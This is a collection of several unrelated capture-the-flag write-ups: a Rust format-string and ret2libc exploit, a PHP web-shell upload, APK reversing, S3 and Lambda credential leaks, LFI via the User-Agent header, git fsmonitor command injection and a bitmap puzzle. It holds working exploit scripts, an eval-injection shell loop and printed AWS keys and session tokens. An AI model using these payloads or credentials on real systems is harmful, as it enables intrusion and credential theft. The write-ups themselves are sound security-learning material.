libc::printf("What's your favorite :msfrog: emote?\n\0".as_ptr() as *const libc::c_char); libc::fgets(text, 128, libc_stdhandle::stdin()); libc::printf(format!("{}\n\0", r#" ....... ...----. .-+++++++&&&+++--.--++++&&&&&&++. +++++++++++++&&&&&&&&&&&&&&++-+++&+ +---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+- -+-+&&+-..--.-&++&&&&&&&&&++-+&&-. .... -+--+&+ .&&+&&&&&&&&&+--+&+... .. -++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+. .+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++--.++++++++---------+&&&&&&&&&&&&@&&++--+++&+-+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+-.++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++- -++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&& -+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@& -+&&&@@@@@&&&+++++++++++++++++&&&@@@@+ .+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&- .+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+ .+&&&@@@@@@@@@@@@@@@@@@@@@&+. .-&&&&@@@@@@@@@@@@@@@&&- .-+&&&&&&&&&&&&&+-. ..--++++--."#).as_ptr() as *const libc::c_char); }}```
The fact that the binary is in Rust might be intimidating at first, until you realize that there's not much that's "rust-specific" to exploit. There's a very obvious printf vulnerability, and the call to fgets tries to shove 128 bytes of data into a buffer of 64 bytes. Doing the regular binex stuff shows us that the offset is 96, and from there we use the printf leak to leak both the libc base and the piebase by doing math on both. I'm pretty sure you could calculate both off of one address, but I did cheat a little after looking at [Strellic's Writeup](https://brycec.me/posts/corctf_2022_challenges#babypwn) because something with how the binary is compiled just does not work on Kali, and I was too lazy to redo everything from my other VM.
Final Exploit:```python#!/usr/bin/python3# @author: CryptoCat (https://github.com/Crypto-Cat/CTF/tree/main/pwn)# Modified by An00bRektnfrom pwn import *
# Allows you to switch between local/GDB/remote from terminaldef start(argv=[], *a, **kw): if args.GDB: # Set GDBscript below return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: # ('server', 'port') return remote(sys.argv[1], sys.argv[2], *a, **kw) else: # Run locally return process([exe] + argv, *a, **kw)
# Find offset to EIP/RIP for buffer overflowsdef find_ip(payload): # Launch process and send payload p = process(exe, level='warn') p.sendlineafter(b'>', payload) # Wait for the process to crash p.wait() # Print out the address of EIP/RIP at the time of crashing # ip_offset = cyclic_find(p.corefile.pc) # x86 ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4)) # x64 warn('located EIP/RIP offset at {a}'.format(a=ip_offset)) return ip_offset
# Specify GDB script here (breakpoints etc)gdbscript = '''continue'''.format(**locals())
# Binary filenameexe = './babypwn'# This will automatically get context arch, bits, os etcelf = context.binary = ELF(exe, checksec=False)# Change logging level to help with debugging (error/warning/info/debug)context.log_level = 'debug'
# ===========================================================# EXPLOIT GOES HERE# ===========================================================
""" Thoughts: I did not solve this challenge during the event because I was too stupid to realize that the printf vulnerability could have been used to leak out both the PIE base and the libc address. The fact that this is in Rust really doesn't matter because we're given the source code, and it's just a regular ret2libc.
This is just a reminder that when doing pwn, or any challenge really, we should be thinking about what's actually happening as opposed to copying and pasting a formula."""
# Lib-C library, can use pwninit/patchelf to patch binarylibc = ELF("./libc.so.6")# ld = ELF("./ld-2.27.so")
# Pass in pattern_size, get back EIP/RIP offsetoffset = 96
# Start programio = start()
io.sendlineafter(b'?', b'%2$p.%30$p')io.recvuntil(b'Hi, ')
libc_leak, pie_leak = [int(x, 16) for x in io.recvlineS().split('.')]
elf.address = pie_leak - 0x464f8libc.address = libc_leak + 0x1440 # use gdbinfo("piebase: %#x", elf.address)info("libc : %#x", libc.address)
bin_sh = 0x1b45bd + libc.addresssystem = 0x52290 + libc.address
pop_rdi = 0x51d1 + elf.addressret = 0x501a + elf.address
# Build the payloadpayload = flat({ offset: [ ret, pop_rdi, bin_sh, system ]})
# Send the payloadio.sendlineafter(b'emote?', payload)io.recvuntil(b'..--++++--.')
# Got Shell?io.interactive()``` |
## DescriptionCan you infiltrate the Elf Directory to get a foothold inside Santa's data warehouse in the North Pole?
## Solution
Login page
Register any user & log in
Then add yourself possibility to edit your profile:
Decrypt Cookie PHPSESSID (urldecode + base64 decode):
`eyJ1c2VybmFtZSI6ImFkbWluIiwiYXBwcm92ZWQiOnRydWV9` -> `{"username":"admin","approved":false}`
Change to `{"username":"admin","approved":true}`
Then you have possibility to upload PNG picture for your profile. But it is carefully checkedwith PNG file structure (not only magic number, but first bytes), but extension is not checked.So we could use this upload possiblity to upload .php file
Use upload avatar png picture functionality to get web shell (e.g via Burp Suite)```POST /upload HTTP/1.1Host: 46.101.92.47:30397User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------385168380317616655742649190565Content-Length: 329Origin: http://46.101.92.47:30397DNT: 1Connection: closeReferer: http://46.101.92.47:30397/Cookie: PHPSESSID=eyJ1c2VybmFtZSI6ImFkbWluIiwiYXBwcm92ZWQiOnRydWV9Upgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cache
-----------------------------385168380317616655742649190565Content-Disposition: form-data; name="uploadFile"; filename="alpha_2px.php"Content-Type: image/png
PNG?
IHDR??????ÄIDATx?c???6ÐÝIEND®B`
-----------------------------385168380317616655742649190565--```
Going to`http://46.101.92.47:30397/uploads/5c770_alpha_2px.php?cmd=ls%20/`
we could see among other files file`flag_65890d927c37c33.txt`
Then we read it```http://46.101.92.47:30397/uploads/5c770_alpha_2px.php?cmd=cat%20/flag_65890d927c37c33.txt
�PNG ? IHDR??????ĉ IDATx?c???6Ј�IEND�B`� HTB{br4k3_au7hs_g3t_5h3lls} ``` |
## CAN YOU GAIN ACCESS TO YOUR DIGITAL ID?
---
Easy | Reversing, Mobile | 100 points
---
### Description
The smart city is implementing a digital identity to keep sensitive data away from the AI. Can you confirm that it is securely implemented?
Can you access your digital ID?
---
### First Impressions
We are given an apk file and a raw file. Apparently the .raw format is used by sony cameras but this file will not open in any image viewer.. strange. If we open it in a text editor, we see the following string that no basic decoder website can identify.
```phpCiMwl2sIlzwtT4Mdm0dmmtOVV79W1dV1kIhWVWJqcYaSZu0ti0aVIkFD6Gim3Uhx:OpFUeq8AsLskv9nSZ1FHYRGvM912ufXYUGI82aiOeX7eFvno9VANOIyH9VXkRkeJYDD74nTLWF22pGsu1G6B4tKGNnjGZ9di1QEIhyDDoxU=```
hmm. Guess we’ll move onto the apk file. We extract the files with apktool:
```bashapktool d DigitalID.apk```
I searched the files with grep for several keywords but all I found was:
```bashsmali_classes3/be/deloitte/digitalID/MainActivity.smali: const-string v2, "{\'username\':\'test\', \'flag\':\'CTF{redacted}\'}"```
So it looks like some further reversing is required. Using google, I discovered that we can decompile our apk back into .class java files using the instructions from this link: [https://stackoverflow.com/questions/5582824/decompile-smali-files-on-an-apk](https://stackoverflow.com/questions/5582824/decompile-smali-files-on-an-apk)
So first I used dex2jar to convert our apk file to a jar file:
```bashgit clone https://github.com/pxb1988/dex2jar./gradlew distZipcd dex-tools/build/distributionsunzip dex-tools-2.2-SNAPSHOT.zipsh d2j-dex2jar.sh -f ~/Downloads/HackyHolidays/IdentifyYourself/DigitalID.apk```
This will create a DigitalID.jar inside dex-tools/build/distributions/dex-tools-2.2-SNAPSHOT
To view this jar file, we use [http://java-decompiler.github.io/](http://java-decompiler.github.io/) which is a nice GUI to view the code.
To build it:
```bashgit clone https://github.com/java-decompiler/jd-gui.gitcd jd-gui./gradlew build```
To run the GUI:
```bashcd ~/…/IdentifyYourself/jd-gui/build/libsjava -jar jd-gui-1.6.6.jar```
We can then load our DigitalID.jar file inside the GUI and we see a bunch of folders and files we can examine.

The main files of interest are the files inside be.deloitte.digitalID since those are the app specific files while the rest are from included libraries and default android stuff.
The majority of files are pretty unremarkable, except for the MainActivity.class file. We can clearly see that previous CTF{redacted} in here

So reading through the file, I get the impression that what is happening here is
- A user enters their 4 digit pin code- The program attempts to load their user details by using the users pin code 4 times in a string as an AES decryption key to decrypt the key used to encrypt the user details in the session.raw file. The session.raw file seems to be split into two different strings. The part before the : is the encrypted key used to encrypt the part after the : which is the user details.- Then the program uses its decrypted key to decrypt the user details inside the session.raw file.
So we must need to recreate the program to achieve this and see what our given session.raw file says. However, first of all we need the pin code. There is no hint to the pin code in the code so we must need to brute force it. Fortunately a 4 digit code should be pretty easy to brute force.
So I have never coded in Java before so I used the code in this StackOverflow post as a base to build my program on:
[https://stackoverflow.com/questions/5520640/encrypting-and-decrypting-using-java-unable-to-get-same-output/5520786#5520786](https://stackoverflow.com/questions/5520640/encrypting-and-decrypting-using-java-unable-to-get-same-output/5520786#5520786)
My code can be found in the [EncryptDecrypt.java](http://EncryptDecrypt.java) file in this github.
After running my code we get the following result
```bash└─$ java EncryptDecrypt Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=truedecrypted: ��n�����+r�>����ڡH,��Γ�U��M��*#��5���b�T�y��aq6.�é W�[�j X�A��j�aK���Z~\��R�CA:~`{L�decrypted: ���*�Ai�o�����ZeA�Ӛ��Z��M�J>�▒▒K�B�ndecrypted: 6f1a9314bab94240b8a06a72158a1e03decrypted: {'username':'test', 'flag':'CTF{c1e6ae2d5bffb32ac4378d74a3d5bd55}'}decrypted: ��$N�ƙ�*��e�4�5����G���O�s �$C�}+��bdecrypted: T▒b�����7�;E#G�=��o���Jq�R� Mb".��)�lǸj�TE1uU0�:�U�pV �iW�▒=����*@K��*�H����$��*decrypted: Q՝�1g�R�1���-P1F;=Z�;s�(��\�Nq�^�J׆��j▒o�decrypted: jx �|�ԇ&%�,SJ�P�A$p���<�������tg��Q gY�n�+IRj��dz���Ml�5H������+��^��decrypted: cD}▒f>���p� !�6[�S���Ⅺ�L4"�6�e{RKY�T����|�decrypted: ,�Y�6K/&ц2�T)ӄ�b�e�٧���e����=▒������/0decrypted: ����/�?�"��u�zH�á��s}�i��/L�}ӑ�+$t.>��decrypted: � *�}.��BT �n�(�בtGՅO�ht~�^M(�~�㊢�decrypted: ���g�t���R%z۳�7��7]#o���t����r@zy������(�k����Y��Y�T1f▒��U�[RTi��s@W���decrypted: � ��mXڴk2&���yݜj+�Io��|��Ϫ���ge��~,ʘ�����decrypted: �r����QEl▒�[���XP�P�����a��p/6D�+z,p���decrypted: �<O�B�|���S���Q�F���WuW�_o��m� +���[u��decrypted: l��(74< (�_+g�V;����o?�B�[���ў�S���S�� �:decrypted: ?��w���G��K�;V ��u�gdyk$g;���]���X{v�%��decrypted: ��������gf��HZ Ӈ���v�q�:*R Ԡ��bY�<^�� ?�J<decrypted: �p��>Ѐ�)$8���]I���ǁu�����$��FZ��x}'W�Jg�5n��DӴnr$LQ��y.�g���I!:�h��e��decrypted: `o��B��Z&/�▒��S"dž�M�1�N(�"���y� &N��~decrypted: �Xp{�ˏ�p�,�v��k��N�!�li��h:>�j~�-;���decrypted: ��,�]hd���q�����|4e��▒zB%���s�B������decrypted: b�{���G{ʚ<���� (G���k�z4B� ںL�~D�Ac�vlJ```
As we can see, there were multiple pin codes that were valid AES keys but only one gets us our flag of CTF{c1e6ae2d5bffb32ac4378d74a3d5bd55}. |
# More than meets the eye```There's more to this than you think
Special flag format ENO-....
** The Cloud security challenges are provided by SEC Consult **http://3.64.214.139/ ```
If we investigate the calculator page further, we'll notice that the sponsor image is fetched from `https://nullcon-static-content-public-bucket.s3.eu-central-1.amazonaws.com/sec-consult.svg`. Visiting the bucket reveals that there is file listing enabled:
The `dummy_credentials` file has contents of `admin:5730df0sd8f4gsg`, though as the SSH of the machine only accepts public key we have nowhere to use these credentials. Though the `.boto` file happens to have another AWS credentials:```[Credentials]aws_access_key_id = AKIA22D7J5LELFTREN7Zaws_secret_access_key = 3IxS0lVvB661e1oxT4Wz0YRFDj7d4HJtWlJhiq5A```
Checking what they are reveals us the flag:```└─$ AWS_ACCESS_KEY_ID=AKIA22D7J5LELFTREN7Z AWS_SECRET_ACCESS_KEY=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 aws sts get-caller-identity{ "UserId": "AIDA22D7J5LEH4OZQJF3U", "Account": "743296330440", "Arn": "arn:aws:iam::743296330440:user/ENO-W0W_sO_M4ny_Pu8l1c_F1leS"}```
Flag: `ENO-W0W_sO_M4ny_Pu8l1c_F1leS` |
# i love browsers```I just love browsers! That's why I launched a discussion board about them. To avoid flame wars it's segregated though.
52.59.124.14:10009 ```
Visiting the website greets you with `Hello [your browser]!` message:
The only way the website would really know what browser we use is either through JavaScript (which the site doesn't have any) or through the User-Agent header the browser sends. Trying different values like `User-Agent: safari` also works, and if you play around with the possible values you'll notice that it only cares about the last word and ignores everything to the right of / (used to provide the browser version) if the last word contains that. Though if the user-agent has more than a single dot, it'll return an error:```└─$ curl -H "User-Agent: .." http://52.59.124.14:10009This incident will be reported ```
And as two dots usually indicate going up in a directory, we can try an absolute path instead revealing that we're able to do LFI. Trying this with `/etc/passwd` will reveal us a hint of the flag's location:```└─$ curl -H "User-Agent: /etc/passwd" http://52.59.124.14:10009
<html lang="en"><head> <meta charset="UTF-8"> <title>Hello /etc/passwd user</title></head><body bgcolor="lightblue"> <div align="center"> <h1>Hello /etc/passwd user</h1> root:x:0:0:root:/root:/bin/ashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/mail:/sbin/nologinnews:x:9:13:news:/usr/lib/news:/sbin/nologinuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologinman:x:13:15:man:/usr/man:/sbin/nologinpostmaster:x:14:12:postmaster:/var/mail:/sbin/nologincron:x:16:16:cron:/var/spool/cron:/sbin/nologinftp:x:21:21::/var/lib/ftp:/sbin/nologinsshd:x:22:22:sshd:/dev/null:/sbin/nologinat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologinsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologinxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologingames:x:35:35:games:/usr/games:/sbin/nologincyrus:x:85:12::/usr/cyrus:/sbin/nologinvpopmail:x:89:89::/var/vpopmail:/sbin/nologinntp:x:123:123:NTP:/var/empty:/sbin/nologinsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologinguest:x:405:100:guest:/dev/null:/sbin/nologinnobody:x:65534:65534:nobody:/:/sbin/nologin#flag is in /app/FLAG.txt
</div> <div style="height: 100px;"> </div> <div align="center"> <table id="data" class="table table-striped"> <thead> <tr> <th>Author</th> <th>Comment</th> </tr> </thead> <tbody> <tr> <td>testron</td> <td>tata</td> </tr> </tbody> </table> <form action="/test" method="post"> <table> <tr> <td>Name:</td> <td><input type="text" name="user"></td> </tr> <tr> <td>Comment:</td> <td><textarea style="height:100px;" type="text" name="comment"></textarea></td> </tr> </table> <input type="submit"> </form> </div></body></html>
└─$ curl -H "User-Agent: /app/FLAG.txt" http://52.59.124.14:10009
<html lang="en"><head> <meta charset="UTF-8"> <title>Hello /app/FLAG.txt user</title></head><body bgcolor="lightblue"> <div align="center"> <h1>Hello /app/FLAG.txt user</h1> ENO{Why,os.path,why?}
</div> <div style="height: 100px;"> </div> <div align="center"> <table id="data" class="table table-striped"> <thead> <tr> <th>Author</th> <th>Comment</th> </tr> </thead> <tbody> <tr> <td>testron</td> <td>tata</td> </tr> </tbody> </table> <form action="/test" method="post"> <table> <tr> <td>Name:</td> <td><input type="text" name="user"></td> </tr> <tr> <td>Comment:</td> <td><textarea style="height:100px;" type="text" name="comment"></textarea></td> </tr> </table> <input type="submit"> </form> </div></body></html> ```
Flag: `ENO{Why,os.path,why?}` |
# Git To the Core```Cloning git repositories from web servers might be risky. Can you show me why?
With <3 from @gehaxeltnc 52.59.124.14 10001 ```
Connecting with netcat and entering a sample URL gives us the following output:```└─$ nc 52.59.124.14 10001 Challenge was created with <3 by @gehaxelt.Let's dump a .git/ repository from a web server of your choice. Please provide an URL: http://google.comRunning command: /opt/GitTools/Dumper/gitdumper.sh http://google.com ./repo############ GitDumper is part of https://github.com/internetwache/GitTools## Developed and maintained by @gehaxelt from @internetwache## Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes!###########
[-] /.git/ missing in url
Failed to clone the repository!```
The script's source code can be found [here](https://github.com/internetwache/GitTools/blob/master/Dumper/gitdumper.sh) and there's only 2 possible vulnerabilities I could find due to everything else checking for correctly formatted hashes:- We're able to control the --git-dir argument (by having it in a query string like `? --git-dir [path] [stuff to match the ends with git-dir condition]`, though this requires a custom web server serve files correctly based on contents of query string if we want to use this) and thus we can choose in which directory we will write the git files- We're able to control `.git/config`, allowing us to set `core.fsmonitor` to any shell command. Conveniently, after dumping the .git directory the script will run `git checkout .` triggering the `core.fsmonitor` command. The vulnerability of this challenge seems now pretty clear.
We can setup a local web server with `ngrok` and python's http.server module:```└─$ ngrok --scheme http http 80└─$ python3 -m http.server 80```
Setup the actual payload:```└─$ git init└─$ touch a└─$ git add .└─$ git commit -m "hello world"└─$ cat <<EOL > .git/config[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true fsmonitor = "echo \"\$(ls /)\">&2;false"EOL```
And then execute it on the remote:```└─$ nc 52.59.124.14 10001 Challenge was created with <3 by @gehaxelt.Let's dump a .git/ repository from a web server of your choice. Please provide an URL: http://9f52c69a5d6f.eu.ngrok.io/.git/Running command: /opt/GitTools/Dumper/gitdumper.sh http://9f52c69a5d6f.eu.ngrok.io/.git/ ./repo############ GitDumper is part of https://github.com/internetwache/GitTools## Developed and maintained by @gehaxelt from @internetwache## Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes!###########
[*] Destination folder does not exist[+] Creating ./repo/.git/[+] Downloaded: HEAD[-] Downloaded: objects/info/packs[+] Downloaded: description[+] Downloaded: config[+] Downloaded: COMMIT_EDITMSG[+] Downloaded: index[-] Downloaded: packed-refs[+] Downloaded: refs/heads/master[-] Downloaded: refs/remotes/origin/HEAD[-] Downloaded: refs/stash[+] Downloaded: logs/HEAD[+] Downloaded: logs/refs/heads/master[-] Downloaded: logs/refs/remotes/origin/HEAD[-] Downloaded: info/refs[+] Downloaded: info/exclude[-] Downloaded: /refs/wip/index/refs/heads/master[-] Downloaded: /refs/wip/wtree/refs/heads/master[+] Downloaded: objects/72/c649d6545980d04539e40356cc4856581ffbbe[-] Downloaded: objects/00/00000000000000000000000000000000000000[+] Downloaded: objects/49/6d6428b9cf92981dc9495211e6e1120fb6f2ba[+] Downloaded: objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391
Running git checkout: git checkout .
FLAGappbinbootdevetchomeliblib64mediamntoptprocrootrunsbinsrvsystmpusrvarFLAGappbinbootdevetchomeliblib64mediamntoptprocrootrunsbinsrvsystmpusrvarwarning: unable to access '/root/.config/git/attributes': Permission deniedUpdated 1 path from the index
└─$ cat <<EOL > .git/config[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true fsmonitor = "echo \"\$(cat /FLAG)\">&2;false"EOL
└─$ nc 52.59.124.14 10001Challenge was created with <3 by @gehaxelt.Let's dump a .git/ repository from a web server of your choice. Please provide an URL: http://9f52c69a5d6f.eu.ngrok.io/.git/Running command: /opt/GitTools/Dumper/gitdumper.sh http://9f52c69a5d6f.eu.ngrok.io/.git/ ./repo############ GitDumper is part of https://github.com/internetwache/GitTools## Developed and maintained by @gehaxelt from @internetwache## Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes!###########
[*] Destination folder does not exist[+] Creating ./repo/.git/[+] Downloaded: HEAD[-] Downloaded: objects/info/packs[+] Downloaded: description[+] Downloaded: config[+] Downloaded: COMMIT_EDITMSG[+] Downloaded: index[-] Downloaded: packed-refs[+] Downloaded: refs/heads/master[-] Downloaded: refs/remotes/origin/HEAD[-] Downloaded: refs/stash[+] Downloaded: logs/HEAD[+] Downloaded: logs/refs/heads/master[-] Downloaded: logs/refs/remotes/origin/HEAD[-] Downloaded: info/refs[+] Downloaded: info/exclude[-] Downloaded: /refs/wip/index/refs/heads/master[-] Downloaded: /refs/wip/wtree/refs/heads/master[+] Downloaded: objects/72/c649d6545980d04539e40356cc4856581ffbbe[-] Downloaded: objects/00/00000000000000000000000000000000000000[+] Downloaded: objects/49/6d6428b9cf92981dc9495211e6e1120fb6f2ba[+] Downloaded: objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391
Running git checkout: git checkout .
ENO{G1T_1S_FUn_T0_H4cK}ENO{G1T_1S_FUn_T0_H4cK}warning: unable to access '/root/.config/git/attributes': Permission deniedUpdated 1 path from the index```
Flag: `ENO{G1T_1S_FUn_T0_H4cK}` |
## Nullcon HackIM CTF
### Chall name : Cloud 9*9
### Description
```Our new serverless calculator can solve any calulation super fast.
** The Cloud security challenges are provided by SEC Consult **
http://3.64.214.139/```
## Soln
#### shell.py
- I made a simple py script to get better shell experience
```pyimport requestsimport json
def main(): print('\n Shell \n') url = 'http://3.64.214.139/calc' cmd = '' while 1: if cmd == 'q': break else: try: cmd = input('$') payload = f"__import__('os').popen('{cmd}').read()" data = {'input': f'{payload}'} #print(data) r = requests.post(url, data=json.dumps(data), headers={"Content-Type":"application/json"}) f = json.loads(r.text) print(f['result'])# print('\n') except: print("Failed with command : ", cmd)
if __name__ == '__main__': main() ```
### Bucket link
```bash
┌─[dragon@msi] - [~/CTFs/nullconGoa/cloud] - [1343]└─[$] python3 cloud1.py
Shell
$lslambda-function.py
$cat lambda-function.pyimport json
def lambda_handler(event, context): return { 'result' : eval(event['input']) #flag in nullcon-s3bucket-flag4 ...... }
```- So the bucket link is `nullcon-s3bucket-flag4`- After checking the env variables we get session tokens of AWS
```bash
┌─[dragon@msi] - [~/CTFs/nullcon/cloud] - [1332]└─[$] python3 cloud1.py [21:58:34]
Shell
$envAWS_LAMBDA_FUNCTION_VERSION=$LATESTAWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjECcaDGV1LWNlbnRyYWwtMSJIMEYCIQC6oZgisKGVN48XYK9jYz/NwFFbrG4oXh0CHjH9S2U70gIhAM+Iv14HcaFM/U17O3WPC0kHcwaWaKTK3HKTe2swvBLMKoIDCJD//////////wEQABoMNzQzMjk2MzMwNDQwIgz2sfpeyR1fkrtfVEgq1gKjj5LtCXwBL+zeOWu2MsoOOJAaoXsDx9lZTG4Yn3bV9uifCMiyuNJCNlrT59C6LkoGD6SnPF/VMtpbvKib8dKczhCikfaYM/5E93hw675sIeEbf6W6JlNkVIslLQI+inaXdDh1zgkm+vtSstmYZdHw3++IPEn1npZ1a0zjrB944Zk1KxnVcd8qlCryOFLX/ITkJM+CLHafNZn1HAKArcBzzRUW09Am80FejpswA3/vC9BPJeLe4uxd/X4bqoQw98m2uMHUXmbbpSrO3Qwo6SMkRPI4+3fwVguAMtI8e5Vvr+wwURVc3SgQAiQm2HH4Gw3dEg0PkotxxD2pveHviDrFsXZ5OtfPHJe4uYEnetMGlEEhgCg1sSxLzHgDv3D8+FHuXfliMA+zNdy571N7PlWIGXFFM6F1J0BDJw0O7AAC3NxL9BkJ7l8ExZXSZywQ1Bcj/cn2aA0w8v/elwY6nQHg4zVxOD/yzVMcQa1fbVnwGSN7pbkpjmRm5yLdww4nD2gCnLTmSZj5QGpzkZiUJSoGMQAvnGrF/dk4n/0g6s7m32DTkvWb1RehAhGpTJXjb2xdXuiNYd7HUD2alxw6BXMd52XCLrdly9LpQbWxQhOwragCZ6SXe8FlKmzlRgHSDrEYAmGRHIakoSbbNOWp4bn1Uqh9ZpUa+iSfob7JAWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/lambda-calculatorLD_LIBRARY_PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/libLAMBDA_TASK_ROOT=/var/taskAWS_LAMBDA_LOG_STREAM_NAME=2022/08/13/[$LATEST]e5dfa04368e141b38e45bc313615778aAWS_LAMBDA_RUNTIME_API=127.0.0.1:9001AWS_EXECUTION_ENV=AWS_Lambda_python3.9AWS_LAMBDA_FUNCTION_NAME=lambda-calculatorAWS_XRAY_DAEMON_ADDRESS=169.254.79.129:2000PATH=/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/binAWS_DEFAULT_REGION=eu-central-1PWD=/var/taskAWS_SECRET_ACCESS_KEY=L3OWcJut4kv9pziGUVI6rFUbOnVTiCzkN58zv8PwLAMBDA_RUNTIME_DIR=/var/runtimeLANG=en_US.UTF-8AWS_LAMBDA_INITIALIZATION_TYPE=on-demandTZ=:UTCAWS_REGION=eu-central-1AWS_ACCESS_KEY_ID=ASIA22D7J5LEA25ENS5XSHLVL=1_AWS_XRAY_DAEMON_ADDRESS=169.254.79.129_AWS_XRAY_DAEMON_PORT=2000PYTHONPATH=/var/runtime_X_AMZN_TRACE_ID=Root=1-62f7d139-5e225b122be9c5f21620330b;Parent=74923a6169c7998d;Sampled=0AWS_XRAY_CONTEXT_MISSING=LOG_ERROR_HANDLER=lambda-function.lambda_handlerAWS_LAMBDA_FUNCTION_MEMORY_SIZE=512_=/usr/bin/env```
- Install aws client and configure with the above tokens- arch sytems : `sudo pacman -S aws-cli`
- config `~/.aws/credentials`
```bash
┌─[dragon@msi] - [~] - [1333]└─[$] cat ~/.aws/credentials
[default]aws_access_key_id = ASIA22D7J5LEA5GAM4VIaws_secret_access_key = VyZTbXGNGrYeDua0lHt11BlS3LSH9zGlklD39b15aws_session_token = IQoJb3JpZ2luX2VjECYaDGV1LWNlbnRyYWwtMSJGMEQCICEk2UBWAbFZiyfVrm594L6LAjGA5tb01qx3jJoeil+gAiAW8Exec8JWJ17CjfKZqyd8mrDnjo2ksISAXFw/PdI9oCqCAwiP//////////8BEAAaDDc0MzI5NjMzMDQ0MCIMI19jwC+Y8iG0htCJKtYCk6Z+zkfSgyhqMhWpAAEK+mzRhwr165XMrFjndKrCHZbXA77EfA4Cd5LSsYMLt1MIfmxkhR55iOqNu+9QMfB/YIcHAAPIZAvVNJxZlq+iIGQ01jmTJ9Bg8Fe7pszCzlESF/W+LpWjsWKC+sUBBE0nSIrwToz6vxzibO0BVh1SK/ChN+3a4xrLCFyXQ0ln+GHkH3yeX5WCot8GMJEzLqJL5OjYkwan8jqw912yCeJ4LyQ5dfRYya8a5aC3e3ZimfG4NlYua8qRZLwZ7XS5slvu+G7RC2ltfESKVVQNMrIAEnet1lxf0J0BH6q9SWNtfXmMIt+qeWionr8u3rhGqJG7vvx5JwzVN+4w9yd+64LmzSueYtf1b/ub7xB7tdXfmi7yh0QcL7BEYf1CdV1yf6gGISDOFb8EFacyFj1NKmdo9LE5wu/VJstc55ajSLTq+qnllIYrjEqSMP/Z3pcGOp8BwkxUSpOQHWSY8ipdASD+XaJiD18xjjL4JHU1FaX4wPlW1YsY/BHjqzprzxPW6m/iCjkx1ko0ZoKYfM3Z+iNPlL5Z+x6eAbsY8qSLtaSl/oRJJwK99y2Ij94EY2J/uDX76oUJKUE2x2NB8KZgl7RH/zwQQqdu0tjezVpFl26YYme+oUInKS5fZlS33UY1EIho0BkmMOvVL+LOweAyi9k
```
### Flag
```┌─[dragon@msi] - [~] - [1336]└─[$] aws s3 ls s3://nullcon-s3bucket-flag4/ 2022-08-12 01:57:20 40 flag4.txt ┌─[dragon@msi] - [~] - [1337]└─[$] aws s3 cp s3://nullcon-s3bucket-flag4/flag4.txt . download: s3://nullcon-s3bucket-flag4/flag4.txt to ./flag4.txt ┌─[dragon@msi] - [~] - [1338]└─[$] cat flag4.txt ENO{L4mbda_make5_yu0_THINK_OF_ENVeryone} ```
|
# Colour Blind**Category**: Forensics\**Author**: Javad\**Difficulty**: Easy
### DescriptionI think my optometrist might be trolling me. Apparently table inspection skills are required?
### Solution
While running the image through stegsolve/stegonline or manipulating the pixels in your favourite image editor won't work, a hex editor should show you that the data portion of the bitmap contains more than two distinct hex values. Checking the image properties should also indicate that `ishihara.bmp` is a 16 color bitmap image, and as such, each individual hex value denotes a different colour. Hence, we know that the image contains a wider range colours than are being shown. To figure out why we can't see them, let's explore the [bitmap file format](https://en.wikipedia.org/wiki/BMP_file_format) a bit further by annotating the raw bytes of our challenge file. Note that the bytes highlighted in grey below denote the data portion of the file.

The challenge description and title are collectively intended to hint at checking the bitmap image file's 'color table'. Indeed, if we look at the bytes of the file above, you might notice that 15 of the 16 colours in our colour table have the same value. Altering these values to make them more distinct (hint: these are just typical hex colours in little-endian). That said, there are a lot of paths to figuring out this challenge, and one of the easiest is to simply transplant the header of a working 16 color bitmap onto the challenge file. If you do you'll probably get something close to the original, which is included below:

Thanks to Francisco Couzo for the use of their [Ishihara Plate Generator](https://franciscouzo.github.io/ishihara/).
**Flag**: `UACTF{r37urn_0f_7h3_c0l0r_m31573r}` |
# Cloud Na(t)ive```No one escapes the Cloud
Special flag format: ENO-........
** The Cloud security challenges are provided by SEC Consult **http://3.64.214.139/```
Continuing from the previous part, there was a comment hinting at the server's private key:```#TODO: implement database backend. Use the key webserver-private-key for direct access to the server```
